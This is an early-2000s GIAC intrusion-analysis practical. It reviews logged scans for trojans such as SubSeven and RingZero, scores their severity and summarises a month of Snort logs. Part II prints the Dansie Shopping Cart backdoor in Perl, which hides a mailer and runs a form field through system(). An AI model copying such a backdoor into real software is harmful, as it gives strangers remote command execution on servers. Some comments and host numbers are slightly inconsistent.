William Lorimer, M.Sc., CISSP, CPP
Senior Consultant
Professional Security Services
JAWZ Inc.

1013 17 Avenue SW
Calgary, AB, Canada T2T 0A7
Tel: 403 508 5055
1 888 301 5297
Fax: 403 508 5058

GIAC Certified Intrusion Analyst - Practical

Section 1 - Four Detects, With Analysis

Section 2 - Detailed Evaluation of an Attack

Section 3 - Intrusion Detection Log Analysis

Section 4 - Description of Analysis Methodology

Part I: 4 Detects with Analysis

General Background:

Three of these detects were obtained from the GIAC website (http://www.sans.org/giac.htm) and one from a company test site.

Severity was calculated using the formula:

Severity = (Asset Value + Vulnerability) / (System Countermeasures + Network Countermeasures)

All of these items are evaluated on a 3 point scale (High = 3; Medium = 2; Low = 1). We have found that a High/Medium/Low scale is very easy for our clients to understand. Since many clients add their own categories (Very Low, Low-Medium, Medium-High, and Very High), this maps naturally to a 7-point scale; however, we only use the 3-point scale in this paper.

Asset Value

A High rating (=3) is assigned to systems whose loss or compromise could be expected to threaten the future of the organization.

A Medium rating (=2) is assigned to systems whose loss or compromise could have serious financial or other equivalent consequences.

A Low rating (=1) is assigned to systems that can readily be sacrificed with little or no impact on business operations (e.g. a personal web server).

In the following definitions, "Medium" is defined simply as "higher than low, and lower than high". Therefore, High and Low are defined first.

Vulnerability

A High rating (=3) is assigned to severe cases in which an attacker can gain root access across the net.

A Low rating (=1) is assigned to an attack that is very unlikely to succeed.

A Medium rating (=2) is assigned to an attack that is between a Low and a High.

System Countermeasures

A High rating (=3) is assigned to a modern operating system, with all security patches installed.

A Low rating (=1), is assigned to a system which allows fixed passwords and has not been patched.

A Medium rating (=2) is assigned to a system that is between a Low and a High.

Network Countermeasures

A High rating (=3) is assigned to a network that is protected by a restrictive firewall with a good intrusion detection system and strong corporate security policies and training.

A Low rating (=1) is assigned to a network that has no firewall or intrusion detection system and lacks corporate security policies and training.

A Medium rating (=2) is assigned to a network that is between a Low and a High.

Overall Risk

The Overall Risk is determined as follows:

The Asset Value and Vulnerability are added and the resulting sum is divided by the sum of the System and Network Countermeasures. The result is a Risk Factor from a minimum of 1/3 ((1+1)/(3+3)) to a maximum of 3 ((3+3)/(1+1)). The Risk Factors are assigned categories of High, Medium, and Low as follows:

High = Greater than 1.5

Medium : Greater than 1, less than or equal to 1.5

Low : Less than or equal to 1. (Countermeasures equal or exceed total Threat factors)

These values are, of course, subjective and open to interpretation.

Detect 1 -

```
1. Jun 19 08:35:21 cc1014244-a kernel: securityalert: tcp if=ef0 from 202.111.162.55:2635 to 24.3.21.199 on
   unserved port 8080
2. Jun 19 10:11:54 cc1014244-a kernel: securityalert: udp if=ef0 from 24.67.97.178:1024 to 24.3.21.199 on
   unserved port 137
3. Jun 19 11:09:37 cc1014244-a kernel: securityalert: tcp if=ef0 from 4.35.108.119:1688 to 24.3.21.199 on
   unserved port 8080
4. Jun 19 11:37:09 cc1014244-a kernel: securityalert: udp if=ef0 from 24.214.59.133:137 to 24.3.21.199 on
   unserved port 137
5. Jun 19 20:08:36 cc1014244-a kernel: securityalert: tcp if=ef0 from 195.55.220.215:1198 to 24.3.21.199 on
   unserved port 27374
```

Source of trace:

GIAC Website – (binette@home) http://www.sans.org/y2k/063000-1400.htm

Detect generated by:

Unspecified IDS.

Probability the source address was spoofed:

Low. The attackers are looking for responses. (However, at least one of the IP addresses (202.111.162.55) appears to have been hijacked or stolen, since it is taken from a block of addresses registered to the Chinese government.)

Description of attack:

Five packets were intercepted and logged by the Intrusion Detection System.

HTTP Proxy or RingZero Trojan

Two of these (packets 1 and 3) are scans for port 8080. While this port is commonly associated with an HTTP proxy server, it is also used by the RingZero trojan.

These scans were directed at an @home computer. The @home network prohibits home users from setting up web servers. The address binette@home does not appear to be a commercial server; if so, there should be no reason why anyone is attempting to connect to a web server on this host. It is probable that these packets are scanning for RingZero.

The web server www.swhois.net was called to perform an nslookup in an attempt determine the owners of the source IP addresses for packets 1 and 3. The source IP address for packet 1 (202.111.162.55), was not assigned. A subsequent whois lookup on this block of addresses revealed that the block of addresses is assigned to the Data Communication Division, CHINANET Jilin province network, China Telecom. This raised an eyebrow; it is probable that this IP address has been "borrowed".

The source IP address for packet 3 (4.35.108.119) was identified as lsanca1-ar2-108-119.elnk.dsl.gtei.net

Hostname: DSL.GTEI.NET is listed as registered to a James Smith, of New Port Richey, Florida (collector_01@YAHOO.COM).

Netbios Name Service Requests

Packets 2 and 4 appear to be attempts to connect to the Netbios Name Service over UDP. These are common false alarms; some of our clients do not even log packets on ports 137-139 because of this. This is described on pages 133-135 of "Network Intrusion Detection: An Analyst's Handbook", by Stephen Northcutt. Further discussion of these ports is given in detect 4 of this practical.

The web server www.swhois.net was called to perform an nslookup in an attempt determine the owners of the source IP addresses for packets 2 and 4.

The source IP address for packet 2 (24.67.97.178), was registered to domain cg.shawcable.net, a commercial cable ISP based in Calgary, Alberta, Canada.

The source IP address for packet 4 (24.214.59.133), was registered to domain knology.net, owned by Knology Holdings, Inc. of West Point, Georgia, USA. This appears, from their web site, to be a commercial information provider.

Both of these sources would be consistent with the situation described in Northcutt.

It is interesting, but probably coincidental, that both of these probes came from the same Class A network.

Subseven Trojan probe

Packet number 5 is an attempt to locate a server running the Subseven Trojan.

The web server www.swhois.net was called to perform an nslookup in an attempt determine the owner of the source IP addresses for this packet. The source IP address for packet 5 (195.55.220.215) was not assigned. A subsequent whois lookup on this block of addresses revealed that the block of addresses is assigned to Telefonica Data Espana (NCC#1999085999) Red de servicios IP, Spain. This may indicate that the attacker is coming from this Spanish ISP, or the IP address may have been stolen, as speculated for packet 1 above.

Attack mechanism:

RingZero Trojan

From the Symantec Anti-Virus Research Centre:

RingZero.Trojan

Aliases: RingZero.gen Trojan

Likelihood: Uncommon

Characteristics: Packed by Petite

Description

This trojan runs as a hidden process on the target system. It sends and retrieves data over an Internet connection. There are three versions of this trojan horse.

One version, ITS.EXE, will copy itself to the \WINDOWS\SYSTEM directory when executed for the first time on a system. It also drops a RING0.VXD file in the same directory. ITS.EXE is executed upon the next startup of Windows. At this time, it creates another file to hold its data: ITS.DAT. It appears to try to reach two hosts - MEMBERS.ZOOM.COM and PHZFORUM.VIRTUALAVE.NET. The program contains strings that attempt to send mail to an address at PAGER.MIRABILIS.COM through the mail server at WWW.MIRCOSOFT.COM.

Another version, PST.EXE, installs itself in the same manner as ITS.EXE. It also inserts RING0.VXD, and creates ITS.DAT. This version appears to try to connect to WWW.RUSFTPSEARCH.NET.

TELNET23.EXE is yet another version that appears to steal Windows cached passwords. It contains strings in order to reach PHZ.FAITHWEB.COM and send e-mails.

These applications can be packed within other host programs. When a user runs the host program, these trojan applications are installed on the system.

The RingZero trojan hides its process by registering itself as a Windows service. Thus, it is not visible in the Windows task manager. It also hides its entry in the Windows registry. If the trojan is not running, the startup call in the registry is visible.

(http://www.symantec.com/avcenter/venc/data/ringzero.trojan.html)

Netbios Name Service Requests

There are known security implications for computers running the Netbios. According to author Lars Klander, the default installation of Windows NT creates a NetBIOS share with full access enabled. If NetBIOS is enabled, under certain conditions anyone who can connect to that host over UDP/IP can access the share and cause the server to crash. Also, according to Northcutt, NetBIOS can be used to gather information on a remote network and map the entire organizational structure. However, this is also a common false positive.

Subseven Trojan probe

The subseven trojan is a client/server application in which the client can query (via a simple GUI program) the server (run on an unsuspecting victim) and is able to run programs and control the victim's computer. The new version (2.x) defaults to port 27374. Scans to this port are common in search for a default configuration of a subseven server.

Correlation:

Subseven Trojan:

http://advice.networkice.com/Advice/Exploits/Ports/27374/default.htm

http://advice.networkice.com/Advice/Phauna/RATs/SubSeven/default.htm

RingZero Trojan: http://www.symantec.com/avcenter/venc/data/ringzero.trojan.html

Evidence of active targeting:

Packets 1 and 3: Possible. These may be legitimate attempts to connect to an HTTP server. The fact that the source IP address for packet is an unallocated IP number registered to the Chinese government tends to throw suspicion on this, however. I would say that these packets are scans for a RingZero Trojan on a range of IP addresses.

Packets 2 and 4: Possible. They may be responses to an HTTP request, as described in Northcutt.

Packet 5: Unlikely. Packet 5 appears to be part of a sweep of a range of IP addresses looking for a specific vulnerability.

Severity:

Criticality = 1 (Low). Assuming it is a personal home computer or small office computer.

Lethality: = 1 (Low). Assuming that no Trojans are present on this system, and that the system is swept for Trojans on a regular basis, this attack poses no threat.

System Countermeasures = 3 (High) Unknown for certain, but the presence of an Intrusion Detection System would indicate that adequate System Countermeasures are in place.

Network Countermeasures = 2 (Medium) Unknown, but there is likely to be a firewall in place.

Overall severity: (1+1)/(3+2) = 2/5 < 1 => LOW

Defense recommendation:

Check the system for Subseven, RingZero and other Trojans.

Disable NetBIOS for Internet connections.

Install a file tampering detection application such as Tripwire to detect any unauthorized changes to the system configuration.

On Redhat Linux systems, use the Redhat Package Manager (RPM) to detect any unexpected changes to system files.

Run a tool such as Axent ESM (if available) to identify any changes to default configuration files.

Multiple choice question:

Given the following three detects, which would cause the least concern?

a) Jun 19 08:35:21 cc1014244-a kernel: securityalert: tcp if=ef0 from 202.111.162.55:2635 to 24.3.21.199 on unserved port 8080

b) Jun 19 11:37:09 cc1014244-a kernel: securityalert: udp if=ef0 from 24.214.59.133:137 to 24.3.21.199 on unserved port 137

c) Jun 19 20:08:36 cc1014244-a kernel: securityalert: tcp if=ef0 from 195.55.220.215:1198 to 24.3.21.199 on unserved port 27374

A: a;

B: b;

C: c; or

D: All are equally important.

Capture 2 -

```
1.  Jun 20 04:50:53 dns1 snort[488133]: MISC-WinGate-1080-Attempt: 142.169.163.185:1776 -> z.y.w.34:1080
2.  Jun 20 04:50:59 dns1 portsentry[278053]: attackalert: Connect from host: ts1-656.f2081.quebectel.com/142.169.163.185 to TCP port: 1080
3.  Jun 20 04:50:54 dns3 snort[565]: MISC-WinGate-1080-Attempt: 142.169.163.185:1778 -> z.y.w.98:1080
4.  Jun 20 04:51:05 dns3 portsentry[301]: attackalert: Connect from host: ts1-656.f2081.quebectel.com/142.169.163.185 to TCP port: 1080
```

Source of trace:

GIAC Website – http://www.sans.org/y2k/063000-1400.htm

(Quebec Telephone, Rimouski Quebec, CA)

Detect generated by:

Portsentry?

Probability the source address was spoofed:

Low. This appears to be a series of probes to locate a server running the Wingate proxy or the Winhole trojan. The attack would be of no use if the attacker did not receive a response.

Description of attack:

Four packets were intercepted and logged by the Intrusion Detection System. They appear to have been directed against two DNS servers, named DNS1 and DNS3. All four packets came from the same IP address, 142.169.163.185. All four packets were attempts to connect to port 1080, which is commonly associated with the Wingate proxy and an associated Trojan, Winhole.

Attack mechanism:

Winhole Trojan

According to http://packetstorm.securify.com/Win/indexsize.shtml, this Trojan "Will put Wingate onto a 95/98 system without its owner's knowledge …" Wingate is a proxy server for Win32 based operating systems including Windows 95, 98, NT, and 2000.

A search for the keywords "Wingate proxy server" turned up the following:

Proxy Server, Firewall, and DHCP Server for Windows 95 and NT. Share a single Internet connection with your entire LAN. (Earlier versions of the product had some serious security problems.) (http://www.wingate.net)

Correlation:

http://www.sans.org/y2k/practical/Shane_Akhgar.html "Attack mechanism: WinHole is apparently a trojan that turns an infected Windows box into a gateway. Lovely."

Evidence of active targeting:

Insufficient data. The fact that the scans were directed against two DNS servers might indicate that these servers were being specifically targeted, but the log intercepts may have been edited before being posted, or the IDS may simply not have picked up other scans. I would need more information about the network architecture (which IP addresses was this IDS monitoring, for example) to be certain.

Severity:

LOW:

Asset value - appears to be a DNS server; Medium to High

Vulnerability - low, just a scan.

System Defenses - Unknown, 1-3

Network Defenses - High

Overall Risk - minimum (2+1)/(3+3) = 0.5 : LOW

Overall Risk - maximum (3+1)/(1+3) = 1 ; LOW

Defense recommendation:

Rename the DNS servers to less informative names.

Multiple choice question:

Given the following detects,

```
Jun 20 04:50:53 dns1 snort[488133]: MISC-WinGate-1080-Attempt: 142.169.163.185:1776 -> z.y.w.34:1080
Jun 20 04:50:59 dns1 portsentry[278053]: attackalert: Connect from host: ts1-656.f2081.quebectel.com/142.169.163.185 to TCP port: 1080
Jun 20 04:50:54 dns3 snort[565]: MISC-WinGate-1080-Attempt: 142.169.163.185:1778 -> z.y.w.98:1080
Jun 20 04:51:05 dns3 portsentry[301]: attackalert: Connect from host: ts1-656.f2081.quebectel.com/142.169.163.185 to TCP port: 1080
```

one recommendation that might be made to the system administrator would be:

A. Rename the DNS servers to a less obvious name;

B. Tighten up the firewall rulesets;

C. Develop a stronger security policy;

D. Do not allow connections to the DNS server on port 1080.

Answer: A.

Capture 3

Forwarding detected scans from the period June 17-19 2000.

```
Jun 17 18:30:38 stealth portsentry[195]: attackalert: Connect from host: 140.109.140.30/140.109.140.30 to TCP port: 111
Jun 18 02:54:04 stealth portsentry[195]: attackalert: Connect from host: lampedusa.ihp.sinica.edu.tw/140.109.140.30 to TCP port: 111
Jun 18 07:17:21 stealth portsentry[195]: attackalert: Connect from host: split.netset.com/64.40.198.14 to TCP port: 12345
Jun 18 11:04:08 stealth portsentry[195]: attackalert: Connect from host: pc201.ihp.sinica.edu.tw/140.109.140.201 to TCP port: 111
Jun 18 11:04:08 stealth portsentry[195]: attackalert: Connect from host: pc201.ihp.sinica.edu.tw/140.109.140.201 to TCP port: 111
Jun 18 21:10:59 stealth portsentry[195]: attackalert: Connect from host: pc201.ihp.sinica.edu.tw/140.109.140.201 to TCP port: 111
Jun 18 21:10:59 stealth portsentry[195]: attackalert: Connect from host: pc201.ihp.sinica.edu.tw/140.109.140.201 to TCP port: 111
Jun 19 10:04:52 stealth portsentry[195]: attackalert: Connect from host: lampedusa.ihp.sinica.edu.tw/140.109.140.30 to TCP port: 111
Jun 19 12:30:51 stealth portsentry[195]: attackalert: Connect from host: lampedusa.ihp.sinica.edu.tw/140.109.140.30 to TCP port: 111
Jun 19 14:43:20 stealth portsentry[195]: attackalert: Connect from host: 1dyn91.etlr.casema.net/212.64.84.91 to TCP port: 6667
```

Source of trace

GIAC Website – (J. Furlong) http://www.sans.org/y2k/063000-1400.htm

Detect generated by:

Portsentry?

Probability the source address was spoofed:

Low. These appear to be a series of probes to locate server running Sun RPC (TCP port 111), a single probe trying to locate the NetBus or GabanBus Trojans, and a single probe trying to locate the Schedule Agent trojan.

Description of attack:

sunrpc 111/tcp SUN Remote Procedure Call - An attacker is attempting to find a Sun server which allows Remote Procedure Calls.

port 12345 - GabanBus, My Pics, NetBus, Pie Bill Gates, Whack Job, X-bill.

port 6667 - Schedule Agent. I was unable to obtain any detailed information on this program.

Port 6667 is also associated with the PrettyPark Worm/Trojan (http://www.sans.org/infosecFAQ/prettypark.htm). The PrettyPark worm uses this port outbound to connect to IRC chat, in order to send out information about the infected host; however, that does not appear to be the case here. Use of port 6667 was also noted in http://www.sans.org/082200.htm; http://www.sans.org/y2k/010100-0000.htm (twice); http://www.sans.org/y2k/022900.htm (where it was identified as the PrettyPark virus). Port 6667 is commonly used as an outbound port to connect to IRC servers.

IP address 140.109.140.30 and 140.109.140.201 belong to a block of IP addresses registered to the Taiwan Ministry of Education Computer Center (NET-TANET-BNET1), 12th Fl, 106, Hoping E. Road, Sec 2. Taiwan Republic of China, R.O.C TW

GabanBus = "All in one netbus Client" (http://websites.ntl.com/~leo.filos/netbusindex.html)

My Pics, Whack Job, and Pie Bill Gates are known distribution mechanisms for the Netbus or Gabanbus trojan. "My Pics" is spread as an email attachment; Whack Job and Pie Bill Gates are game programs that the trojan can be embedded into. Presumably, X-bill is also a distribution mechanism for the Netbus or Gabanbus trojan, but I was unable to locate any detailed information on this.

Attack mechanism:

Schedule Agent

GabanBus, My Pics, NetBus, Pie Bill Gates, Whack Job, X-bill

SUN Remote Procedure Call

Correlation:

NetBus:	http://www.HackFix.org/netbusfix/
My Pics:	http://www.helpdesk.umd.edu/alerts/virus/apstrojan.shtml http://www.trendmicro.net/vinfo/virusencyclo/default5.asp?VName=TROJ_APS.216576
Pie Bill Gates:	http://www.nsclean.com/psc-mp.html

Evidence of active targeting:

Insufficient data

Severity:

LOW:

Asset value - Unknown; 1-3

Vulnerability - low, just a scan.

System Defenses - Unknown, 1-3

Network Defenses - High

Overall Risk - minimum (1+1)/(3+3) = 1/3 : LOW

Overall Risk - maximum (3+1)/(1+3) = 1 ; LOW

Defense recommendation:

Never accept an installer, or an exe from a non-reputable site.

Multiple choice question:

The SubSeven trojan is associated with which of the following ports:

A. 98

B. 7000

C. 27347

D. 1984

Answer: B.

Capture 4

```
#File format help at: http://www.networkice.com/Advice/Support/KB/q000018/

#Severity  timestamp   issueId  issueName  intruderIp     intruderName  victimIp      victimName  parameters  count
           (GMT)
     39  2000-09-19  2003009  NetBIOS    a.b.104.237    PENTIUM       a.b.108.198               port=139        8  A
           08:02:01           port probe
     39  2000-09-19  2003009  NetBIOS    a.b.112.107    BRIO          a.b.108.198               port=139        8  A
           08:40:53           port probe
```

Source of trace

Our own test lab (Company-leased DSL High-Speed Internet Access Line)

Detect generated by:

`BlackICE` Defender (from Network Ice Corp.)

Probability the source address was spoofed:

Low.

Description of attack:

Netbios Name Service Requests

This appears to be two separate probes looking for NT computers with NetBIOS vulnerabilities.

Attack mechanism:

There are known security implications for computers running the Netbios. According to author Lars Klander, the default installation of Windows NT creates a NetBIOS share with full access enabled. If NetBIOS is enabled, under certain conditions anyone who can connect to that host over UDP/IP can access the share and cause the server to crash.

Some services on Windows NT have the nasty habit of sending out packets looking for a response on ports 137-139 (Source: NAI Gauntlet Training course). I was unable to find the reference for this in my course notes, unfortunately. However, this false positive is noted in Northcutt [1]. It was also acknowledged in an email from Network Ice Corp. (see Correlations)

Correlation:

http://www.sans.org/newlook/digests/ntarchives/120199.htm Para 4.6

"Network Intrusion Detection: An Analyst's Handbook", by Stephen Northcutt, pages 133-135

Email from BlackIce Defender Technical Support:

Dear Customer,

The NetBIOS port probe problem is also being encountered by other BlackICE customers. In some (but not all) cases, this is being caused by a bad frame being sent by your ISP. This frame causes an alert to be triggered in BlackICE. We are currently working on resolving this problem. We appreciate your patience, and will let you know as soon as we have a solution.

In the meantime, you have two choices:

1) You can tell the software to "ignore" this particular attack type: Right-click on an attack in the Attacks screen and choose "Ignore Attack", then "this Attack".

2) In version 2.1 of BlackICE, you can adjust the "sensitivity" of the flashing icon. From the BlackICE toolbar, select "Tools", then "Preferences". This will bring you to a screen where you can adjust both the visible and audible alerts (audible must be enabled to be adjusted). Raising the visible alert to the middle setting should keep the icon from flashing for the NetBIOS probes.

Regards,

Technical Support

Network ICE Corp.

Evidence of active targeting:

None. Both detects appear to be port sweeps looking for an opening on port 139, which is associated with Windows NetBIOS.

Severity:

Low.

Asset Value: Low (It was a test box with no useful information.)

Vulnerability: Low (The alert was a false positive)

System Safeguard: Medium - High (The box was running a low-end firewall/IDS.)

Network Safeguard: Medium - High (The lack of any other detected attacks would indicate that there is a firewall or some other filtering mechanism in place.

Maximum value: (1+1)/(2+2) = 0.5 = LOW

Defense recommendation:

Ensure NetBIOS is not enabled on machines that are directly visible from the Internet.

Multiple choice question:

Which of these ports is not associated with NetBIOS requests?

A. 133

B. 137

C. 138

D. 139

Answer: A. Port 133 is commonly associated with the Farnaz trojan.

Part II: Evaluation of Dansie Shopping Cart CGI vulnerability

Background:

The Dansie Shopping Cart is a commercially available application for use on commercial web-servers, which retails for approximately $100 US. It was written in PERL script. Approximately 10 months after it was released, one purchaser reverse-engineered it (in an attempt to resolve an incompatibility with another application) and discovered that it contained a back-door which would allow anyone to execute arbitrary CGI scripts on the host computer.

Origin: Commercial Software Package

Date of Origin:.

- Software released sometime prior to 30 May, 1999.
- Back door first reported on Usenet (muc.lists.bugtraq) shortly before 25 March, 2000.
- Back door reported on Bugtraq 12 April 2000.

Aliases: N/A

Versions: 3.04 and earlier

Affects: Web servers

Listed Features: Sends an email to tech@dansie.net with the server name and the URL to the CGI executable. Allows a remote user "to execute any command on the server with the same privileges as the CGI process itself."

Ports: 80 (HTTP)

Description: (The following description relies heavily on the original Bugtraq report.)

The Dansie Shopping Cart is written in PERL script. One purchaser encountered difficulty integrating the software with his PGP encryption software, and began studying the PERL script in an attempt to correct the problem. His technical support person discovered the following subroutine (Comment lines, preceded by a #, are added by myself):

```
------

 sub there2

 {

    $_ = "$_[0]";

    tr/a-z0-9/gvibn9wprud2lmx8z3fa4eq15oy06sjc7kth/;

# The above line translates letters and numbers via a simple substitution cipher, as follows:
```

Input	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	0	1	2	3	4	5	6	7	8	9
Output	g	v	i	b	n	9	w	p	r	u	d	2	l	m	x	8	z	3	f	a	4	e	q	1	5	o	y	0	6	s	j	c	7	k	t	h

```
    tr/_/-/;
# The above line translates underscores to dashes.
tr/\@/\./;
# The above line translates the @ symbol to a forward slash.
    return $_;
 }
 -------
```

The call that creates this email address and sends the mail is the function 'there3'.

```
-------
 sub there3
 {
    if (($ENV{'OS'} !~ /Windows_NT/i) && ($mailprog) && (-e "$mailprog"))
    {
       $a = &there2('8v59')."\@".&there2('kte3cv').".".&there2('ev8');
# '8v59' translates to 'tech'; "kte3cv' translates to 'dansie'; 'ev8' translates to 'net'
       $b = &there2('8v59_3jhhzi8');
# '8v59_3jhhzi8' translates to 'tech-support'
       pop(@there2);
       pop(@there2);
       $c = &there2("@there2");
       open (TECH, "|$mailprog $a"); # "tech@dansie.net'
       print TECH "To: $a\n"; #To: tech@dansie.net
       print TECH "From: $a\n"; #From: tech@dansie.net
```

```
        print TECH "Subject: $b\n\n"; #Subject:
        print TECH "$path3\n";
        print TECH "$ENV{'HTTP_HOST'} $ENV{'SERVER_NAME'}\n";
        print TECH "$c\n";
        print TECH "$e $there\n" if ($e);
        close (TECH);
    }
 }
 -------
```

The above piece of code appears to open the mail program, and compose and send a mail message to tech@dansie.net with the subject line "tech-support".

According to the Bugtraq report:

"This seems curious, but plausible reasons could include insuring License compliance, or maybe the cart automatically sends this email when an error occurs. The program definitely goes out of its way to hide the fact that the mail is being sent."

There is an additional piece of code:

```
----------  if ( ( ( $FORM{'?????????'}) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) || ( ($FORM{'?????????'} ) && (!$d) ) )  {
    if ( $ENV{'OS'} )
# The author of the Bugtraq report masked out the trigger form with question marks for security reasons, but anyone with a copy of the shopping cart script could easily find the trigger.
    {
        system("$FORM{'?????????'}");
    }
    else
    {
        open(ELIF,"|$FORM{'?????????'}");
    }
    exit;
```

}

However, the cloaked e-mail routine apparently also sends the server name and the URL to the CGI executable to Dansie technical support. Bugtraq researchers established that this form allows anyone armed with this knowledge " to execute any command on the server with the same privileges as the CGI process itself." They also established that the form element was "immune to data validation - it gets passed into this code fragment unchallenged."

When checking to see if this was a known issue, Bugtraq researchers discovered a post from "Kasey Johns" <kasey at corridor dot net>, made a little over a week previously, in alt.comp.perlcgi.freelance.

[Note: Kasey Johns reported that this had been revealed on another newsgroup at least two and a half weeks prior to the Bugtraq report.]

The Bugtraq report concluded:

> "Based upon our own investigation, the information Kasey posted, and our own firewall logs (see below), it is our opinion that the back door within Dansie.net's shopping cart can best be summarized as follows:
>
> ```
> 1. The back door is very deliberate.
> 2. It isn't unique to the one copy we have access to here.
> 3. *Is being actively utilized by the author of the CGI.
> ```
>
> *Based upon the log snippet in Kasey's post showing attempted access to the CGI from an Earthlink dial-up IP. (209.179.141.0/24). According to Kasey, access to the CGI was attempted less than 30 minutes after the cart was installed.
>
> When we noticed the attempted usage of Kasey's server, a quick check of our own firewall logs revealed the following:
>
> ```
> Packet log: input REJECT eth0 PROTO=6 209.179.141.xx:1054 x.x.x.x:80     {repeated several dozen times}
> ```
>
> We can only assume these attempts, made from the same /24 on Earthlink's dial-ups as the one used to probe Kasey's server, were from the author of the shopping cart."

Resolution: Four days after this was reported in Bugtraq, Dansie software released a patch that removed the backdoor. Due to the nature of the software, any copy which did not upgrade would cease to work after a few months. It is safe to say that this software no longer poses a threat to its users.

Lessons Learned: It appears certain that the "back door" which Mr. Dansie installed in his software was an honest attempt to protect himself from software piracy, and that he genuinely did not realize the security implications of his design. It is also a fact that he removed the back door within a week of its being made public. While some would question the ethics of what he did, it's unlikely that he violated any laws in doing so; the question of what constitutes "ethical programming" is, therefore, a subjective point.

For those who rely on Bugtraq for the most timely information, it should be noted that the problem was discussed on Usenet at least two weeks before being posted on Bugtraq.

Many programmers are not security experts, and there are few, if any, security guidelines for them to follow. Especially when purchasing software from small, independent companies, it pays to monitor network traffic more closely for a period after installation, to detect any unexpected traffic. Normally, an outgoing e-mail message, or an incoming HTTP request (especially to a Web server), would not be considered unusual enough to be logged. Without those indications, however, it might not be possible to identify activity such as this.

Part III - Network Analysis Report – “Analyze This”

Info

This analysis is based on a series of IDS logs generated by the Snort program for the month of July, 2000, on a class B network (MY.NET.x.x). These logs were on web site http://www.sans.org/PH2000/snort/index.htm.

The instructions given on the SANS website were somewhat confusing, in my opinion. The detects for the DC 2000 practical and the Parliament Hill 2000 practical were apparently not stored in separate directories, nor was there any clear indication of which log files were intended for which group. It appears that the detects named "snorta*.txt" were for the DC 2000 students, and those named "snorts*.txt" were intended for the Parliament Hill group. However, the website also stated that the Parliament Hill students were responsible for the July traffic; some of the "snorts*.log" files were from June, others from August.

I chose to analyze only the "snorts*.txt" files from 1 July to 31 July, containing traffic from 30 June to 30 July, 2000.

General summary of activity for month of July

The most glaring traffic was the activity surrounding internal IP address MY.NET.1.3 and associated activity toward and from MY.NET.1.4. There were numerous attacks directed against these hosts, and others in the same group (e.g. MY.NET.1.5). There was also a considerable amount of activity from this host, and some suspicious activity from MY.NET.1.4 as well early in the month.

Toward the end of the month, we also saw similar activity from a third internal host, MY.NET.101.192.

Main Conclusion

It is almost certain that hosts MY.NET.1.3, MY.NET.1.4, and MY.NET.101.92 have been compromised.

July 1: A summary of the activity on June 30

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
132.250.1.131	UDP Port Scan	.97.37	various	
62.180.57.86	UDP Port Scan	.97.13; 97.159	various	Two separate scans.
203.109.135.86	FIN Packet			
205.188.247.197	Malformed packet			
205.188.247.195	Malformed packet			
195.132.120.31	Network mapping	.130.x; .139.x - 143.x		
MY.NET.1.3	UDP Port Scan	.101.89; 101.42		This is either an internal hacker or a compromised host. Most likely the latter. Conducted four separate scans of less than a minute's duration each. All but two of the scans were directed against MY.NET.101.89.
24.18.18.23	Napster probes	.97.61		2 probes, 3 hours apart
205.222.240.216	Port scan	.60.8		
216.70.65.197	Trojan scan	.60.16		
MY.NET.1.4	UDP Port Scan	.101.53		This is either an internal hacker or a compromised host. Most likely the latter.
209.132.14.125	Malformed packet			
208.147.89.163	UDP Port Scan			
24.9.155.227	Malformed packet	.60.16		
210.167.143.44	Syn/Fin flags set			
192.135.132.				
24.201.148.107	Napster response	.217.162		
24.200.55.132	Napster response	.97.128		
24.18.84.149	3 Napster responses, 1	.97.187		

	Napster probe			
216.50.227.48	Malformed packet	.217.62		
216.191.28.189	Trojan scans	.60.11		2 scans, 50 minutes apart
200.196.72.253	2340 NULL ********	.97.31		
195.132.36.9	Napster probe	.217.62		
192.193.195.132	Apparent Port scan with malformed flag bytes.	.120.28		The numbers on this IP address are almost sequential, indicating it might be a "made-up" IP address. Note the last quad is "132"; cf. With the next IP address below, 132.250.1.131 which also has two quads which are sequential.
132.250.1.131	UDP Port scan	.97.37		

July 9: A summary of the activity on July 8

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
128.220.2.7	UDP Port Scan	.97.230; .1.8		
129.6.178.82	Malformed packets	.6.7		
129.7.143.219	Napster variant?	.106.190		One probe to port 6688 followed by a packet from that same port. Typical of Napster-type probe.
165.138.228.4	UDP Port Scan	.97.83		
195.162.192.100	Napster probe			
195.162.198.85		.130.190		
195.162.199.244	Napster			
195.238.2.9	Decrementing port scan	.97.143		
198.78.21.68	Net scan	.x.x		
198.83.208.176	Port 1052?	.97.209		
202.216.230.150	Napster probe	.110.57		
205.188.237.89	Port Scan	.97.215		

July 10: A summary of the activity on July 9

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
62.185.45.121	Class B Network scan	Entire class B		
193.173.174.119	DNS scan using SYN/FIN packets	.1.x	53	Eight packets of this scan had only the SYN flag set. These were directed against .1.3; .1.4; .1.5; .1.9; and .1.14. UDP scans were also directed against these hosts. MY.NET.1.3 and MY.NET.1.4 were separately identified as internal attackers, probably compromised hosts.
205.188.247.194	Malformed packet	.97.134	1077	
213.8.185.79	Telnet scan	.1.x	23	
MY.NET.1.3	Port scan	.101.89		2 separate scans, each less than one minute
63.16.52.233	Winhole/Wingate scan using SYN/FIN packets	.1.3; .1.4; .1.5	1080	MY.NET.1.3 and MY.NET.1.4 were separately identified as internal attackers, probably compromised hosts.
62.180.57.86	Port scan	.111.71;.97.241		
24.68.13.184	Malformed packet	.110.249	6346	
24.66.252.137	Malformed packet	.70.241	8899	
24.6.145.185	Port scan	.130.91		
24.24.116.143	Malformed packets	.110.249	2361; 6346	
24.23.47.138	Port scan	.60.11		
24.23.40.88		MY.NET.5.29	443	https using source port 1245. False positive for "Voodoo Doll" trojan?
24.161.244.160	Malformed packets	.110.249		Source port of 0 on first hit.
24.113.19.49	Malformed packets	.217.106		
216.131.17.59	Port scan	.253.105		
213.8.185.79	telnet scan	.1.x	23	

213.14.3.102	Network scan on port 44767	.97.x	44767	No known trojans associated with this port?
213.132.134.37	Malformed packets	.110.249		
212.29.71.87	Network scan on port 44767	.97.x	44767	Same scan pattern as from 213.14.3.102
212.29.71.115	Network scan on port 44767		44767	Same scan pattern as from 212.29.71.87 & 213.14.3.102
212.238.84.152		.111.71		
212.179.140.193	ftp scan?	.157.x		
212.17.108.71	RingZero trojan scans	.20.10;.219.154;.97.238; 97.239; 98.135; 98.93	3128, 8080	Both ports 3128 and 8080 are associated with the RingZero trojan. Scanning for each target IP included scans on both ports.
212.10.56.29				
